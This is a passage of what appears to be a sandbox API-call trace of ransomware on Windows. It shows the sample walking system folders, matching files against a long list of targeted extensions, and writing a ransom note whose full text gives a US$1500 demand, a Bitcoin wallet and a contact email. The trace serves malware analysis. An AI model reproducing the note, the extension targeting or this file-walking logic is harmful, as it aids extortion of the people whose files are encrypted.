(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.tlg") returned 0 [0110.918] lstrlenA (lpString="*.tlg") returned 5 [0110.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.lgb") returned 0 [0110.919] lstrlenA (lpString="*.lgb") returned 5 [0110.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.mov") returned 0 [0110.919] lstrlenA (lpString="*.mov") returned 5 [0110.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.xdw") returned 0 [0110.919] lstrlenA (lpString="*.xdw") returned 5 [0110.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.ods") returned 0 [0110.919] lstrlenA (lpString="*.ods") returned 5 [0110.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.wav") returned 0 [0110.919] lstrlenA (lpString="*.wav") returned 5 [0110.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.mp3") returned 0 [0110.919] lstrlenA (lpString="*.mp3") returned 5 [0110.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.aiff") returned 0 [0110.919] lstrlenA (lpString="*.aiff") returned 6 [0110.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.flac") returned 0 [0110.919] lstrlenA (lpString="*.flac") returned 6 [0110.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.m4a") returned 0 [0110.919] lstrlenA (lpString="*.m4a") returned 5 [0110.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.csv") returned 0 [0110.920] lstrlenA (lpString="*.csv") returned 5 [0110.920] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dcaa0b0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4dcaa0b0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4dcaa0b0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x38c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0110.920] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0110.920] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x613a4da0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x613a4da0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x613a4da0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="7ce846d8bc8059eb9c87504b39aba1e3", cAlternateFileName="7CE846~1")) returned 1 [0110.920] lstrcmpA (lpString1=".", lpString2="7ce846d8bc8059eb9c87504b39aba1e3") returned -1 [0110.920] lstrcmpA (lpString1="..", lpString2="7ce846d8bc8059eb9c87504b39aba1e3") returned -1 [0110.920] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\*.*") returned="*.*" [0110.920] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\", lpString2="7ce846d8bc8059eb9c87504b39aba1e3" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3" [0110.920] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3") returned 100 [0110.920] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x613a4da0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x613a4da0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x613a4da0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0110.921] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0110.921] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x613a4da0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x613a4da0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x613a4da0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.921] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0110.921] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0110.921] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61358ae0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x61358ae0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x6137ec40, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x14c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0110.921] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0110.921] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll") returned -1 [0110.921] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll") returned -1 [0110.921] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll") returned -1 [0110.921] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\*.*") returned="*.*" [0110.921] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\" [0110.921] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\") returned="" [0110.921] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\HOW TO DECRYPT FILES.txt" [0110.921] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\7ce846d8bc8059eb9c87504b39aba1e3\\how to decrypt files.txt")) returned 0xffffffff [0110.922] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\7ce846d8bc8059eb9c87504b39aba1e3\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0110.926] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0110.926] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0110.927] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0110.928] CloseHandle (hObject=0x90) returned 1 [0110.928] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\", lpString2="Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll" [0110.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.ems") returned 0 [0110.928] lstrlenA (lpString="*.ems") returned 5 [0110.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.db") returned 0 [0110.928] lstrlenA (lpString="*.db") returned 4 [0110.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.dbf") returned 0 [0110.928] lstrlenA (lpString="*.dbf") returned 5 [0110.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.myox") returned 0 [0110.928] lstrlenA (lpString="*.myox") returned 6 [0110.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.myo") returned 0 [0110.928] lstrlenA (lpString="*.myo") returned 5 [0110.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.qbw") returned 0 [0110.928] lstrlenA (lpString="*.qbw") returned 5 [0110.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.qbb") returned 0 [0110.928] lstrlenA (lpString="*.qbb") returned 5 [0110.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.qbm") returned 0 [0110.928] lstrlenA (lpString="*.qbm") returned 5 [0110.929] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.qbo") returned 0 [0110.929] lstrlenA (lpString="*.qbo") returned 5 [0110.929] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.qbx") returned 0 [0110.929] lstrlenA (lpString="*.qbx") returned 5 [0110.929] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.qba") returned 0 [0110.929] lstrlenA (lpString="*.qba") returned 5 [0110.929] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.qby") returned 0 [0110.929] lstrlenA (lpString="*.qby") returned 5 [0110.929] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.qbj") returned 0 [0110.929] lstrlenA (lpString="*.qbj") returned 5 [0110.929] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.ofx") returned 0 [0110.929] lstrlenA (lpString="*.ofx") returned 5 [0110.929] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.qif") returned 0 [0110.929] lstrlenA (lpString="*.qif") returned 5 [0110.929] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.mye") returned 0 [0110.929] lstrlenA (lpString="*.mye") returned 5 [0110.929] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.mbox") returned 0 [0110.929] lstrlenA (lpString="*.mbox") returned 6 [0110.929] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0110.929] lstrlenA (lpString="*.eml") returned 5 [0110.929] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.pst") returned 0 [0110.929] lstrlenA (lpString="*.pst") returned 5 [0110.929] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.ost") returned 0 [0110.929] lstrlenA (lpString="*.ost") returned 5 [0110.929] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.idx") returned 0 [0110.929] lstrlenA (lpString="*.idx") returned 5 [0110.930] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.dbx") returned 0 [0110.930] lstrlenA (lpString="*.dbx") returned 5 [0110.930] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.sql") returned 0 [0110.930] lstrlenA (lpString="*.sql") returned 5 [0110.930] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.mdb") returned 0 [0110.930] lstrlenA (lpString="*.mdb") returned 5 [0110.930] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.fdb") returned 0 [0110.930] lstrlenA (lpString="*.fdb") returned 5 [0110.930] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.wab") returned 0 [0110.930] lstrlenA (lpString="*.wab") returned 5 [0110.930] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.dat") returned 0 [0110.930] lstrlenA (lpString="*.dat") returned 5 [0110.930] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.txt") returned 0 [0110.930] lstrlenA (lpString="*.txt") returned 5 [0110.930] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.jpeg") returned 0 [0110.930] lstrlenA (lpString="*.jpeg") returned 6 [0110.930] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.jpg") returned 0 [0110.930] lstrlenA (lpString="*.jpg") returned 5 [0110.930] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.png") returned 0 [0110.930] lstrlenA (lpString="*.png") returned 5 [0110.930] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.php") returned 0 [0110.930] lstrlenA (lpString="*.php") returned 5 [0110.930] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.cs") returned 0 [0110.930] lstrlenA (lpString="*.cs") returned 4 [0110.930] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.cpp") returned 0 [0110.930] lstrlenA (lpString="*.cpp") returned 5 [0110.930] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.rar") returned 0 [0110.931] lstrlenA (lpString="*.rar") returned 5 [0110.931] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.zip") returned 0 [0110.931] lstrlenA (lpString="*.zip") returned 5 [0110.931] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.html") returned 0 [0110.931] lstrlenA (lpString="*.html") returned 6 [0110.931] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.htm") returned 0 [0110.931] lstrlenA (lpString="*.htm") returned 5 [0110.931] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.xlsx") returned 0 [0110.931] lstrlenA (lpString="*.xlsx") returned 6 [0110.931] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.xls") returned 0 [0110.931] lstrlenA (lpString="*.xls") returned 5 [0110.931] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.mp4") returned 0 [0110.931] lstrlenA (lpString="*.mp4") returned 5 [0110.931] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.ppt") returned 0 [0110.931] lstrlenA (lpString="*.ppt") returned 5 [0110.931] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.pptx") returned 0 [0110.931] lstrlenA (lpString="*.pptx") returned 6 [0110.931] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.doc") returned 0 [0110.931] lstrlenA (lpString="*.doc") returned 5 [0110.931] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.dot") returned 0 [0110.931] lstrlenA (lpString="*.dot") returned 5 [0110.931] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.docx") returned 0 [0110.931] lstrlenA (lpString="*.docx") returned 6 [0110.931] PathMatchSpecA 